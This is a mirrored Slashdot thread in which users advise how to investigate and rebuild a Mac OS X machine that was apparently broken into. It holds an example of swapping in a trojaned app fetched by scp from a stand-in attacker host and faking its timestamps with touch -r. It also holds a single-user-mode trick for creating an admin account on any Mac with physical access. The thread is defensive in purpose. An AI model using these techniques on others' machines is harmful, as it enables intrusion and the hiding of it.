Slashdot Mirror


Symptoms of Mac OS X Hack?

goatbar asks: "Many of you have probably dealt with computer intrusion before, but this is the first time for me with Mac OS X. I've got a machine where the passwords have been altered. If this were Linux, I would drop in Knoppix, figure out which way I got hacked, backup the system, reinstall, secure it and be back up in a couple hours. However, with OSX what can I do? Does anyone have strategies for regaining access to the machine and doing a post-mortem? I'm going to bring up the system drive on a laptop, but then what? I can back it up, but other than the system logs, where to look beyond the usual '.BitchX' and '...' directories. How do I easily tell what other annoying little things have been installed?"

135 comments

  1. When did it happen? by MBCook · · Score: 4, Informative

    When did it happen, do you know? If so then you can search the drives for files that were created/modified on or after that date. That should allow you to restrict the number of things that you need to look anywhere from some to significantly.

    --
    Comment forecast: Bits of genius surrounded by a sea of mediocrity.
    1. Re:When did it happen? by thefroatgt · · Score: 5, Insightful

      Wouldn't you be able to change timestamps and stuff like that if you hacked a system? I know nothing of how OS X's filesystem works, but seems like that would be nigh impossible to stop.

    2. Re:When did it happen? by MBCook · · Score: 1
      That assumes that the person really knew what they were doing. Chances are it's just some kid who found a computer and managed to guess the password or something. If it was a pro job, you're right. But I'm betting it's just some kid or wannabe. Even if they did change some files, there are probably some that they forgot to modify, and those will give you a clue.

      Did you keep a backup? You could compare the backup against the current system state to see what's been added or changed. A hacker can't modify contents of DVDs that aren't in the drive or an external HD that's unplugged, so that you give you a safe reference point to what's been created, but not what's been modified.

      --
      Comment forecast: Bits of genius surrounded by a sea of mediocrity.
    3. Re:When did it happen? by prockcore · · Score: 2, Insightful

      Chances are it's just some kid who found a computer and managed to guess the password or something. If it was a pro job, you're right. But I'm betting it's just some kid or wannabe.

      Right, because only the pros know about touch(1)

    4. Re:When did it happen? by scruffyMark · · Score: 1

      Unless they actually put in a kernel extension to change the default Unix behaviour, they wouldn't be able to change the file's Ctime. Mtime and Atime could be fudged though, but changing them would update the Ctime...

      --

      What is the robbing of a bank, compared to the founding of a bank? -- Bertolt Brecht

  2. Put in the installer CD by CptChipJew · · Score: 4, Informative

    Boot off the install cd/dvd, and you can change your root password to anything you wish.

    After that its just a matter of recreating accounts and adjusting permissions. You can do that pretty easily in the Finder by getting info on a folder and changing permissions for all the contents of that folder and it's sub-folders in one click.

    --
    Vonal Declosion
    1. Re:Put in the installer CD by antadam · · Score: 0

      or you can just boot into single user mode at startup if you don't have the cd. unless of course you put in the normal fun perl script to prevent people from getting in w/o a password (which you should've done in the first place otherwise you won't be some confusticated).

    2. Re:Put in the installer CD by alienw · · Score: 3, Insightful

      You do realize that if a rootkit was installed, that is unlikely to reveal anything and your system will likely remain compromised?

  3. call apple customer support by chris_mahan · · Score: 1, Troll

    you bought a proprietary software system on a proprietary hardware platform.

    Dust off your SLA and call Apple.

    Don't have a SLA? Dang, you're FUBARed.

    --

    "Piter, too, is dead."

    1. Re:call apple customer support by kzadot · · Score: 1

      This is no troll, this is spot on insightful, I wish I had mod points.

      I dont work with macs much, but I am a linux fan, and I have to fix windows problems all the time.

      If someone comes to me because word is munging up files when printing, then what can I do? I say well you paid microsoft for the software, either get your money back or ask them for help. If it was openoffice I could look at the source and do some debugging.

      Now whenever someone bothers me with windows problems I just tell them to install linux. Usually they do, and I have much less problems. And the problems I do have are at least solvable. Everyones happy.

  4. Let's hear more details about your break-in by Roompel · · Score: 5, Informative
    I had the same issue with modified passwords on my G4 server running MacOS X Server 10.3. I thought I was hacked and talked to Apple's tech support to get this resolved. In the end I realized that my passwords got changed everytime I used niload in order to add a user account via the command line.

    Until today I still have to figure out how to create accounts without using the GUI.

    1. Re:Let's hear more details about your break-in by jeffasselin · · Score: 4, Informative

      niload to add user accounts? No wonder this fucked up your passwords. niload uses raw access to import data into the database and isn't quite compatible with the new authentication scheme in OS X.

      Why don't you use niutil? That's the tool for the job. I've changed groups, users, and create the same with it before without any problems.

      --
      If he explores all forms and substances Straight homeward to their symbol-essences; He shall not die.
    2. Re:Let's hear more details about your break-in by mmarlett · · Score: 4, Informative

      You have a couple of GUI-less options:
      http://www.macosxhints.com/article.php?story=20030 603190314390
      http://cocoa.mamasam.com/MACOSXDEV/2002/12/1/51614 .php

      But I always use the GUI. I'm less likely to break things that way.

    3. Re:Let's hear more details about your break-in by Roompel · · Score: 1

      Before Panther I always used nidump and niload to add accounts. I am a newbie to MacOS X. I'll have a look at niutil.

    4. Re:Let's hear more details about your break-in by smoondog · · Score: 1

      Funny, I just noticed today that I couldn't log in to my dual G5 machine as administrator. Couldn't figure it out, guess I will have to isolate now and debug....

      -Sean

    5. Re:Let's hear more details about your break-in by seann · · Score: 1

      http://www.macosxhints.com/article.php?story=20031 213005841533
      for adding smb users

      --
      I'm a big retard who forgot to log out of Slashdot on Mike's computer! LOOK AT ME.
    6. Re:Let's hear more details about your break-in by lounger540 · · Score: 1

      If you're ever gonna be forced to use a GUI, at least it's one as pretty as Aqua. I wanna Mac now :(

      --
      LOOP1: MOV CX,2 LOOP LOOP1
    7. Re:Let's hear more details about your break-in by djdavetrouble · · Score: 1

      Er,
      isnt there a common problem of the netinfo database going bad? Could it be that you weren't hacked at all just your netinfo db went south.

      do a google search for netinfo database corrupt

      and you'll see what I mean.

      -d

      --
      music lover since 1969
  5. It's UNIX, do what you usually do in Linux by baffle · · Score: 3, Insightful

    Reset password via the InstallCD and boot it into normal singleuser. Can't remember the key-combo now, but it should be something like Apple+s.

    --
    - Baffle
    1. Re:It's UNIX, do what you usually do in Linux by prockcore · · Score: 0, Troll

      Reset password via the InstallCD and boot it into normal singleuser. Can't remember the key-combo now, but it should be something like Apple+s.

      There's an rpm -Va command for OSX?

      Changing your root password back isn't going to help if a backdoor has been installed. You need a way to verify that none of your files have been modified. Under redhat, rpm -Va will verify the md5sum, permissions, timestamp of all your installed packages.

      For the extra paranoid, put your /var/cache/rpm onto a keychain.

  6. Hmm.. by Anonymous Coward · · Score: 5, Informative

    I've never dealt with a hacked Mac (cuddles powerbook and shivers in fear). However, some standard procedures would apply:

    (1) Isolate it from the network. Unplug ethernet, turn off any wireless access points (if Airport was set up on it).

    (2) Boot off a known good media. This means the OSX recovery CD (or DVD with newer models). I've never done it, but presumably you should be able to mount your Mac's hard drive, get to a terminal window and be able to poke around and repair the damage as with any other system.

    (3) If you don't want to repair (which can be risky if you don't know what's infected), copy off all files & data that you want to keep (avoid copying anything that's executable because that could be infected / trojaned) - then manually erase as much of everything that you can, ideally wiping the hard drive and low-level formatting it. Then boot off the recovery media / OS X install disks - and do a full re-image of the machine.. disable remote access, turn on the firewall in system settings -> sharing -> firewall, patch the OS.. reinstall all applications then restore the data that you backed up. And this time use strong passwords.

    Step 3 really is the only way to be sure that the system is no longer infected.

    1. Re:Hmm.. by chris_mahan · · Score: 1

      I would add that this emphasizes the need for good backups.

      --

      "Piter, too, is dead."

    2. Re:Hmm.. by Marovingian · · Score: 2, Informative

      Just an FYI- all very good suggestions, but your #2 suggestion is only possible when booted from a Panther Server install CD. The terminal is not an available option from a normal install CD.Disk Utility, Password Reset, and now Startup Disk are the only non-installer options available.

      Another available option is to use Firewire Target Disk mode (Command-T at startup) to mount the drive on another Mac.

      --
      Cursing in the French language is like wiping your ass with silk.
  7. System intrusion options by Kalak · · Score: 5, Informative

    As others have mentioned, you can use the System install disk to change your root password (which may be what was done to you). At the first splash screen, look in the menu bar to select the pasword reset utility.

    Also, if you'd like to look around, you can boot into single user mode using command-s when booting. once you see the command prompt, just go nuts.

    Another option is to boot off of another drive with the OS on it. Target disk mode is very handy for this. you can do it with 2 desktops, or one laptop and one desktop. An external drive is possible. Also, you can find ways to make a bootable OS X CD to work from w/o working from the original drive if you can get to another Mac to build the CD on.

    --
    I am, and always will be, an idiot. Karma: Coma (mostly effected by .hack)
  8. What was installed by bnewendorp · · Score: 4, Informative

    One place you can look to see what was installed on your computer...go to /Library/Receipts. This has a small .pkg file that is left behind every time something is installed through a package on the computer (which anything but a basic application will have). This should give you an idea of everything that has been installed on the computer since the OS was installed. Also, to reset your main password, put in the original OS install disc that came with the computer. Under File, you can select an option to reset passwords.

    1. Re:What was installed by chris_mahan · · Score: 1

      Question.

      Can this password reset be performed only with the disk you installed the machine with, or with any disk for the same os version?

      --

      "Piter, too, is dead."

    2. Re:What was installed by duffbeer703 · · Score: 4, Informative

      Brilliant. It's nice that fricking computer hackers use proper software installation methods. And they'd never try breaking in the same way the did the first time, either.

      A compromised machine must be rebuilt. Period.

      --
      Conformity is the jailer of freedom and enemy of growth. -JFK
    3. Re:What was installed by bnewendorp · · Score: 1

      Any OS install CD that can boot the computer. I normally say the discs that came with it because they are sure to have a late enough version. For example, to boot G5, you need to use 10.2.7 or later. An old iMac, on the other hand, could boot on an older version of OS X.

    4. Re:What was installed by daviddennis · · Score: 4, Informative

      Of course if there was any kind of rootkit or similar nasty installed, it was probably installed off the command line from a tar.gz file, so it wouldn't appear there.

      Nice try, but it probably wouldn't help in this instance.

      D

    5. Re:What was installed by chris_mahan · · Score: 2, Informative

      So if I have physical access to the machine, I can compromise it (assuming of course I brought some OSX os disks?)

      --

      "Piter, too, is dead."

    6. Re:What was installed by davester666 · · Score: 2, Interesting

      It depends on whether the admin also password-protected OpenFirmware and configured it to prevent booting from the CD/DVD drive. If not, then yes, you can compromise a Mac System with just an OS X boot CD. Of course, I believe you can do the same with a Linux 'live' CD on an Intel box...

      --
      Sleep your way to a whiter smile...date a dentist!
    7. Re:What was installed by Anonymous Coward · · Score: 2, Insightful

      So if I have physical access to the machine, I can compromise it (assuming of course I brought some OSX os disks?)

      Yes, you can. Just the same as you can compromise a Linux or Windows machine by booting off an OS disk. If you disable booting off media, someone's only going to take the machine apart and re-enable it. If someone physically has the machine they can do anything they want to it - including disassembling it - so such an intrusion is impossible to stop.

      However, on OSX you can encrypt your user data (see system settings -> security) so that even if someone has low-level access to the hard drive they still can't read your files.

    8. Re:What was installed by Anonymous Coward · · Score: 0

      Yes, but to be fair any computer can be compromised if you have physical access to it.

    9. Re:What was installed by wibs · · Score: 1

      As said in the other replies, checking the receipts has no guarantee of finding anything new, even if new software is on the computer. And if they were able to get into the computer and change the password, I'm guessing they know to simply delete any receipts they left behind, as well.

      Assuming you roughly know when it happened, what will be muchmore helpful is doing a find by date modified/created. In the Finder, do a good old Find with command-f, but change the search criteria to just Date Created, then do a search and look for anything suspicious. Then do another search, this time searching for Date Modified.

      Of course if the hacker really knew his stuff he would edit the date modified/created dates after putting it on your computer, so that's not failsafe either, but it's better than checking receipts.

      --
      If you get nervous, just remember that there are a few billion other people who don't really give a damn.
    10. Re:What was installed by wibs · · Score: 1

      I forgot to mention, whenever searching for malacious files, always include invisible files in your search.

      --
      If you get nervous, just remember that there are a few billion other people who don't really give a damn.
    11. Re:What was installed by chris_mahan · · Score: 2, Interesting

      am asking this where a work environment uses macs, and users have access to the machines.

      --

      "Piter, too, is dead."

    12. Re:What was installed by pizza_milkshake · · Score: 4, Informative
      So if I have physical access to the machine, I can compromise it (assuming of course I brought some OSX os disks?)

      assuming you know what you're doing, then yes, physical access and a little time is all you need. that goes for pretty much any machine. one reason for server rooms and cages in hosting facilities.

    13. Re:What was installed by bw5353 · · Score: 2, Funny
      "One place you can look to see what was installed on your computer...go to /Library/Receipts. This has a small .pkg file that is left behind every time something is installed through a package on the computer (which anything but a basic application will have). "

      Never heard that theory before. I find no receipts in /Library/Receipts for MS Office X, MS Office 2004 Demo, Adobe Photoshop, InDesign, Illustrator, Acrobat, Lotus Notes or AppleWorks, just to name a few recent installations.

      I do find SallingClicker however. If someone tries to install SallingClicker after having taken over a machine, we'll get him!

    14. Re:What was installed by efflux · · Score: 1

      I had thought that the comment about check to see what was installed was so that you *could* rebuild the computer? Not to see what has been planted....

      --
      Do I contradict myself? Very well, then I contradict myself, I am large, I contain multitudes. -- Walt Whitman
    15. Re:What was installed by prockcore · · Score: 4, Funny

      Of course if there was any kind of rootkit or similar nasty installed, it was probably installed off the command line from a tar.gz file, so it wouldn't appear there.

      I always thought that an OSX rootkit would use a nice pretty GUI installer and register itself with Software Update so you can download the latest 0wnz3r patches.

    16. Re:What was installed by The+Infamous+Grimace · · Score: 1

      In the Finder, do a good old Find with command-f, but change the search criteria to just Date Created, then do a search and look for anything suspicious. Then do another search, this time searching for Date Modified.

      The problem with this is that OS X has many hidden folders, into which the Finder does not look. These folders include UNIX standards such as bin, sbin, usr and private. Better to use 'find' via the Terminal. 'man find' in a Terminal window for further info.

      (tig)
      --
      Ignorance and prejudice and fear
      Walk hand in hand
    17. Re:What was installed by BandwidthHog · · Score: 1

      Set an OpenFirmware password and disallow booting from other devices. At that point I'm pretty sure the only way around it is to get inside the machine and remove/reinstall something, such as some RAM or (I assume) the CPU. As far as I know all Macs allow you to securely lock the case itself.

      If that's not secure enough, it's sharks-n-lasers time.

      --

      Quantum materiae materietur marmota monax si marmota monax materiam possit materiari?
    18. Re:What was installed by rat_herder · · Score: 1

      even better use 'locate'. 'find' requires to much muggle.

    19. Re:What was installed by geoffspear · · Score: 1

      Locate is only useful if you know the filenames of what was installed. It's completely worthless for finding files by modification date. Plus it won't find any files that were added after the last time its database was rebuilt.

      --
      Don't blame me; I'm never given mod points.
    20. Re:What was installed by gunnmjk · · Score: 0

      I believe if you use FileVault, the password for that cannot be recovered no matter what. In addition, there are firmware ways to disable singleuser boots that can be used to access files.

  9. Gentoo for PPC by dcocos · · Score: 2, Informative

    Gentoo offers a Linux live cd you can boot from, if there isn't a Knoppix live cd for PPC

    1. Re:Gentoo for PPC by edalytical · · Score: 3, Informative
      if there isn't a Knoppix live cd for PPC

      You mean this.

      --
      Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781
    2. Re:Gentoo for PPC by bfg9000 · · Score: 1

      Does this CD work for you? It won't boot for me...

      --

      I'm not normally an irrational zealous dickhead, but I figure "When in Rome..."

    3. Re:Gentoo for PPC by edalytical · · Score: 1

      I haven't tied it myself.

      --
      Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781
  10. reinstall everything from scratch. by gl4ss · · Score: 4, Insightful

    really, how else are you going to be sure?

    you can't trust timestamps(as some have suggested), you certainly can't trust any receipt/installation logs of macosx itself either, you can't trust binaries, you can't trust ANYTHING(except dummy data files with no data that ever gets executed, through other exploits or whatever).

    and REALLY, how do you _really_ figure out what binaries were compromised on a linux system you could rescue with knoppix? all you can do is to hope that they didn't install anything except bitchx with some scripts to zombie you..

    --
    world was created 5 seconds before this post as it is.
    1. Re:reinstall everything from scratch. by Anonymous Coward · · Score: 0

      They arn't attempting to recover the system. Just boot to a known safe state so important data can be backed up.

      You need a safe, non-hacked, boot environment (like a Knoppix CD). Then you can copy off and backup important data. Then you can format and reinstall the whole system. That's how it works dufus.

    2. Re:reinstall everything from scratch. by gl4ss · · Score: 1

      yeah I realise that now.. but hey it's slashdot, anything gets modded up.

      but for achieving that there should be no problems at all, no need for a slashdot article. Just change the password back to something and copy the stuff out from it in an isolated network unless they can't just drop the hd somewhere else(where no code gets executed from it automatically, of course).

      --
      world was created 5 seconds before this post as it is.
    3. Re:reinstall everything from scratch. by hawaiian717 · · Score: 1
      The only real way to know if a binary has been compromised is by using an MD5 or SHA1 hash sum. The thing is, you have to know the sum of the uncompromised binary. Sites like Known Goods can help here. Besides the binaries, dynamic libraries, bash/tcsh, even the kernel itself could potentially be compromised.

      You really though don't want to be messing around on a compromised system. Like many others have suggested, you'll want to boot of a CD and go from there. Single user mode is unacceptable, since you're running off the compromised system. So what you want is a bootable CD with statically linked binaries.

      If you have backups, great... just reboot, reformat, and reinstall everything. If you need to retreive data, do so from a bootable CD with statically linked, trusted binaries, onto alternate media -- you can even go across a network using netcat.

      --
      End of Line.
    4. Re:reinstall everything from scratch. by alienw · · Score: 4, Informative

      and REALLY, how do you _really_ figure out what binaries were compromised on a linux system you could rescue with knoppix?

      You could compare md5sums of all the executables with the ones on the installation media. RPM has an option to do that.

    5. Re:reinstall everything from scratch. by prockcore · · Score: 4, Informative


      and REALLY, how do you _really_ figure out what binaries were compromised on a linux system you could rescue with knoppix?


      As I said above:
      rpm -Va

      put /var/lib/rpm on a keychain.

    6. Re:reinstall everything from scratch. by gumbi+west · · Score: 1
      You'll notice that he appears to be an old hand at this.

      My take on it is this, some people hack for fun, some people reinstall. This guy is the latter.

      Ya' know, come to think of it, he might save some time by just running windows ME.

    7. Re:reinstall everything from scratch. by moro_666 · · Score: 1

      you have the right ideas but the wrong attitude.
      rpm itself can be compromised too , so there is no
      guarantee whatsoever what it can show and what in reality
      exists.

      --

      I'd tell you the chances of this story being a dupe, but you wouldn't like it.
    8. Re:reinstall everything from scratch. by prockcore · · Score: 1

      you have the right ideas but the wrong attitude.
      rpm itself can be compromised too , so there is no
      guarantee whatsoever what it can show and what in reality
      exists.


      No, because you'll be using the rpm binary from the knoppix CD.

    9. Re:reinstall everything from scratch. by scruffyMark · · Score: 2, Informative
      That won't actually do it - OS X prebinds executables to dynamic library calls whenever a new library version is installed. This is what happens whenever you run the update, and wait forever at the 'optimizing system performance' (or whatever) prompt.

      Every time the prebindings of a dynamically linked executable are updated, that file is changed. So, probably not a single one of the executables on the system will match those on the install media.

      --

      What is the robbing of a bank, compared to the founding of a bank? -- Bertolt Brecht

    10. Re:reinstall everything from scratch. by arminw · · Score: 1

      Since hard drives are quite cheap these days, I keep an external drive updated with a clean bootable OS and all the normal apps I use all the time. The users folders get archived in optical discs for each user.
      If the system gets messed up by an error or a hack, I can wipe the internal HD and copy back the clean OS with little trouble. After that the user data gets put back also.
      AAW

      --
      All theory is gray
  11. Things to consider, HOW-TO by goombah99 · · Score: 5, Informative

    after getting access as described here is how I deal with my machines

    0) first rename the /Users/shared folder and move it into a your user folder.

    1) do a full install of the system using the archive and install mode. this gives you a blank system with the default apps. But with all your old system stored in a folder.

    2) re create all your users if any are missing and copy back their files. and move back the /Users/Shared folder you renamed in step 1. (this is needed because the shared folder is not quite hndeled right by archiva and install)

    3) drag and drop the contents of the old-applications folder on the new applications folder. When it asks you if you want to overwite check NO. this will give you clean copies of the apple apps and give you your old other appls back.

    do the same with the Utilities folder.

    4) now very selectively do the same with the /Library folder. There are very few apps that actually need anything stored in libraries folder and most of these are in application suport and prefs sub dirs. nearly all prefs can be wiped. as a pre-screen you can search for anything in this folder that is an executable or a .app using "find". these are highly suspect, but not neccessarily evil.

    5) copy back any other root level folders that you personally created previously such as /sw for fink.

    6) go back and double check that all those applications and utilities that were not apple apps and utilites are okay. This is not simple but at least check some creation dates.

    that should pretty much do it. what you will miss are any boot time services, host files, tcp permissions, cron jobs or firewall settings you hand tweaked, you installed as those config files are now wiped. It's possible your keychain will get corrupted but not neccessaility. and if you created any new users inthis process and their explict UID and GROUPID numbers are important you can edit these using the netinfo utility. Normal installations of packages and applications on apples do not tinker with /bin /etc /usr. some non-apple freindly unix packages do, but you would probably know this. if you only used fink or only installed in the users's space then you are fine. if you installed in to places like /usr or /opt then you are on your own.

    --
    Some drink at the fountain of knowledge. Others just gargle.
    1. Re:Things to consider, HOW-TO by justMichael · · Score: 4, Informative
      While your list is nice if you don't care how they got in in the first place and you aren't really that concerend about cleaning you machine correctly...

      I would strongly recommend that anyone that thinks they have been rooted/hacked/owned (call it what you will) should boot from something safe, think Gentoo or other non OS X source.

      Copy the entire drive off onto another drive and only mount it read-only from that point on.

      Now wipe the original drive and reinstall everything from scratch. Including downloading anything that you don't have a CD for.

      After you get back up and running and if you want to know how they got in or if you care about anything on the old install, mount that drive read only and start poking around. There are many good resources online for post mortem analysis.

      At the very minimum you should want to know when it happened so that you know how far back your backups are potentially unsafe. You do have backups, right?

      If you honestly believe that cheking creation dates on files is enough, you will get burned. Take the following example.
      cp SafeApp.app SafeAppTemp.app
      scp hacker@example.com:/Users/hacker/BadApp.app SafeApp.app
      touch -r SafeAppTemp.app SafeApp.app
      srm SafeAppTemp.app
      When you look at the dates on SafeApp the app appears to be safe, is it?

      Disclaimer: I'm not on an OS X box at the moment so I can't verify that it's version of touch supports -r, but even if it doesn't once their on your machine they can bring in one that does.
    2. Re:Things to consider, HOW-TO by cjpez · · Score: 4, Informative

      Er, if you're copying over applications and user data from the compromised partitions, why bother doing a reinstall at all? If just one of those applications or library files you copied over was trojaned, all you're doing is turning off the hacks until you execute the necessary code again.

    3. Re:Things to consider, HOW-TO by Anonymous Coward · · Score: 0
      er... note that the description said to check your apps and library .

      It did not say how to check them

      the post was concerned with quickly elmininating the major stress points like /etc /usr and all the nasty places one can hide corrupted services. After that the only places to hide are mostly in plain sight applications, library and home. most folks can probably figure out how to check those. Or at least you dont need to be a unix guru to check.

      the point of the post was how to reinstall and revert yourself back to where you were.

    4. Re:Things to consider, HOW-TO by sparty · · Score: 1

      Be extremely cautious with that copy-applications step; Mac apps are bundles (i.e. /Applications actually has a bunch of Name.app subdirs that appear as single entities in Finder), and it would seem quite possible for someone to hide stuff in an application subdir. For apps that autoload plugins on startup, this would seem particularly risky.

    5. Re:Things to consider, HOW-TO by cyfer2000 · · Score: 1

      They do... I just "man touch"ed.

      --
      There is a spark in every single flame bait point.
    6. Re:Things to consider, HOW-TO by Anm · · Score: 1

      If you read the parent carefully, you'll noticed he said not to overwrite the copies generated during Apple's install. This is how he's getting Apple's original files.

      Granted, there is still the possibility a non-Apple application or Library was trojaned.

    7. Re:Things to consider, HOW-TO by Anonymous Coward · · Score: 0

      I just "man touch"ed.

      Ummm..... ;-P

  12. A web site by mehgul · · Score: 2, Informative

    that might help for general OS X security: http://www.securemac.com/

    Other than that, starting off the install CD and resetting the password, as others mentioned before.

    1. Re:A web site by tb3 · · Score: 1

      I'd take anything on that site with a large grain of salt. They don't seem to be very detailed, and are more interested in selling their dubious security software than imforming Mac users.

      --

      www.lucernesys.comHorizon: Calendar-based personal finance

    2. Re:A web site by mehgul · · Score: 1

      I agree that the site itself might not be the best, and is definitely not up to date. However, they give a lot of links (see for example this article from Bob LeVitus that gives other links), and as such, they can be a starting point for information. That's how I see it anyway.

  13. Same procedure by GoRK · · Score: 4, Informative

    You can follow the same procedure you use for your linux recovery -- put in the install cd or darwin cd, boot to a shell, mount up the disk read only and perform your backup, analysis, and then recover by whatever means you want.

    To boot to a shell using the install cd you have to go into open firmware and set OF to pass the -s option to the mach kernel. The darwin CD will give you the option to jump to a shell right off the bat.

  14. Insert the Install CD by azav · · Score: 2, Informative

    You can reset the passwords if you boot off the OS install CD

    --
    - Zav - Imagine a Beowulf cluster of insensitive clods...
  15. Check the logs too by awtbfb · · Score: 1

    It might not help, but who knows what was run - you might see some clues there. Look in both Library/Logs/ and ~/Library/Logs/. Make sure you check the one for the user in question in the former since some user specific info is store there.

  16. Victim of It Own Success. by Doc+Squidly · · Score: 1, Insightful

    Security exploits, Mac Spyware and hacks like these, IMHO, will contune to increase as OS X becomes more popular.

    But, this has already been predicted.

    --
    I think I think, therefore I think I am.
    1. Re:Victim of It Own Success. by zpok · · Score: 1

      We need a new moderation option: "cool sig" :-)

      --
      I think, therefore I am...I think.
    2. Re:Victim of It Own Success. by Bombcar · · Score: 1
  17. make new admin account by tetsuotheironman · · Score: 5, Interesting

    probably the easiest way (no cd required) is to boot into single user mode (holding apple+s during boot)
    you will be dropped into command prompt.

    Mount disks
    mount /

    then remove this file
    rm /var/db/.AppleSetupDone

    note the '.' as it's a hidden file..
    then just reboot
    (reboot)
    and you will walked through the first time Setup and Config dialogs just like it was a new machine.
    This will allow you to create a new admin account and change the other users' passwords. (make sure not to create a user with the same shortname as another user)

    note this is a good way to 0wn any Mac you can get physical access to..

    1. Re:make new admin account by tetsuotheironman · · Score: 1

      I do this all the time (work for an Apple Specialist)
      normally use it to reset a machine to out of box state after installing software for customer..

      in addition to above info all you need to do is
      rm -rf /Users/username
      nicl -raw /var/db/netinfo/local.nidb -delete /users/username

      :)

    2. Re:make new admin account by transient · · Score: 4, Funny
      This is the first I've heard of /var/db/.AppleSetupDone, so I took a peek inside it and found a mildly amusing dictionary key:

      <key>AppleSpam</key>
      <string>NO</string>

      At least they're honest.

      --

      irb(main):001:0>
  18. Re:My girlfriend got Mac OS X spyware, somehow. by Graymalkin · · Score: 2, Informative

    You can only modify /Applications if you're an admin user. Standard users don't have write privileges in /Applications. Though OSX doesn't do it by default it ought to make all new users Standard users. Panther will ask if to authenticate if you do try to drag something into /Applications.

    --
    I'm a loner Dottie, a Rebel.
  19. Mod UP!! Re:make new admin account by ZackSchil · · Score: 1

    I now have quite an evil grin on my face. I can't wait to try this out because I know it'll work. Why didn't I think of this?

  20. Try SystemRescueCD by javester · · Score: 1

    http://www.sysresccd.org/
    They have a PPC edition.

  21. Re:My girlfriend got Mac OS X spyware, somehow. by Elwood+P+Dowd · · Score: 2, Interesting

    Right, this is in Jaguar, and something she got off P2P easily could have mucked around inside /Applications/Internet Explorer.app/ without asking to authenticate. Because she's an admin. Fortunately it didn't try.

    --

    There are no trails. There are no trees out here.
  22. Some things to audit by melatonin · · Score: 3, Informative

    This isn't necessarily a way to fix your system, but it's some points to check to see what's there.

    You'd want to check these directories for anything you don't recognize are doesn't seem like they belong, /Sys/Lib/Extensions /Sys/Lib/StartupItems /Sys/Lib/Frameworks/ /Sys/Lib/PrivateFrameworks
    - same goes for /Library

    Now keep in mind that existing items can be modified, not just added. It's good to familiarize yourself with a base install. For anything that you don't recognize, check your Receipts directories to see if they were installed with some credibility.

    You'd also want to check /etc/hostconfig, /etc/rc* . I poke with those files a lot so I have some familiarity with what they're supposed to be like.

    You'd also like to examine dot-files and stuff. To make it short, there's a lot of places that shit can go in, but script kiddies aren't that smart and actions may be obvious. /var/log/ can be useful stuff too, if you know the timeframe of when stuff happened (hackers aren't likely to clean up system logs that might have traced some actions unknowingly - by default, sudo commands are logged). Similarly, getting used to how dmesg is supposed to look and what ps -auxww is supposed to provide is important.

    Keep in mind that /Library's contents (anywhere in it) can affect your system a lot, but most (all?) of those items aren't essential, you should be able to freely remove whatever you want.

    To check your system without using it, you can always boot off of a OS 9 volume if your system supports that (it can fit on a CompactFlash card... with my old PowerBook I can at least boot from the PCMCIA slot). I also have 10.1 on another volume that's good for prodding my Panther system with.

    NetInfo is a bit of a pickle to familiarize yourself with. Or at least, I haven't familiarized myself with most of the stuff in there yet :P

    Anyway, none of this is a guaranteed way to find or fix problems, but it can reveal what's happened. If your system's been comprimised, your only recourse is to wipe it out. Don't even use your old User accounts, as dotfiles and ~/Library may have comprimised stuff. Keep it around with unknown:unknown ownership (and not in /Users) and move things over that you think you need.

    --
    Moderators should have to take a reading comprehension test.
  23. Re:My girlfriend got Mac OS X spyware, somehow. by ricosalomar · · Score: 2, Funny

    Letting your GF run Explorer? Chivalry is dead, indeed.

  24. No help now.. but maybe in the future... by RedPhoenix · · Score: 2, Interesting

    I've heard from some inside sources that Apple are looking to adopt something very similar to Solaris BSM auditing for OSX.

    This doesn't help you much at the moment, but maybe sometime down the track, this may help you diagnose what was changed on your system.. (Subject, of course, to your logs being pushed off the compromised system as soon as they're generated, and maybe the attacker not noticing the auditing capability).

    Red.

    1. Re:No help now.. but maybe in the future... by Johnny+Mnemonic · · Score: 1


      Solaris BSM auditing

      Can you elaborate on what this would mean to OS X users?

      --

      --
      $tar -xvf .sig.tar
    2. Re:No help now.. but maybe in the future... by Cyberman · · Score: 1

      Boot up in verbose mode. Notice the message "BSM auditing enabled" (don't remember it exactly)

      I'd wager a look through kernel sources would have some info.

  25. Firewire target mode... by gozar · · Score: 2, Informative

    If you think you were hacked than assume you were hacked. Boot up the machine in Firewire target mode, mount the drive on another mac, and copy over your Users folder.

    Re-boot your machine and install from scratch and then re-install you applications. You can then copy the Users folder back over and create your users. OS X should set the permissions correctly on the folders in Users if you use the same usernames (IIRC). It's the only way to be sure...

    --
    What, me worry?
  26. Re:My girlfriend got Mac OS X spyware, somehow. by mystran · · Score: 1
    Actually, with a little precaution, one COULD prove there was nothing installed, but naturally it's too late at this point. Anyway, I think I'll say this anyway for the rest to benefit from..

    In any case, you can always compare the files you have with files you should have. This involves having a backup of files, and doing the compare with a known good media (such as a recovery CD).

    I have absolutely no idea about Mac OS X, but at least on other Unix platforms you can cheat if you don't want a full backup: make secure hashes (such as MD5 or SHA-1) of all your files. Burn them on a CD (so they can't be tampered with) and you can compare your files later if you want. This won't prove anything about new files ofcourse, or files updated, or otherwise modified, but it does help somewhat. And before somebody points it out, there is a theoretical chance that two hashes match even if the files are different. This is why you want secure hashes. For better confidence, use two different hashes.

    Just note that you need to compare EVERYTHING and then manually check/replace EVERYTHING that doesn't match. This includes things like the system kernel. Like said already, a single trojaned file is enough to compromise the whole system.

    For pointers how to do it, see 'find', 'md5sum', and 'diff'. Shouldn't be too hard though..

    Oh, and after restoring the system one should make sure all known vulnerabilities are patched, and all unnecessary services closed. But this ofcourse should be the case anyway, just like everyone should have backups (or hashes or both) anyway.

    Just my .02 euros.

    --
    Software should be free as in speech, but if we also get some free beer, all the better.
  27. Target disk mode + disk image by plsuh · · Score: 4, Informative
    Every Mac that has a firewire port can boot into Target Disk Mode. Hit the power button and hold down the "T" key. In a couple of seconds you'll see the screen show a yellow firewire symbol. Plug the compromised Mac into another Mac using a firewire cable, and the compromised Mac's hard drive will be mounted on the other Mac's desktop as an external firewire hard drive.

    At this point, you should recover all of your user data to an outside volume, either on the known good Mac or on a CD-R or network volume. If you want to do forensics on the compromised Mac, create a disk image from the compromised Mac's hard drive (warning - this may take up a lot of space). This will preserve everything from that machine in a way that can easily be mounted and studied. Put the compromised Mac away as evidence and do your examination from the disk image.

    Log files are your friends. However, a good rootkit will include ways of deleting telltale info from log files. Another problem is that the prebinding process will alter binaries in different ways depending on the machine and the amount of RAM. The right way to do a comparison between the compromised machine and a known good machine is to use an identical machine (same model, same amount of RAM) and bring the system up to the same set of updates. Then you can use
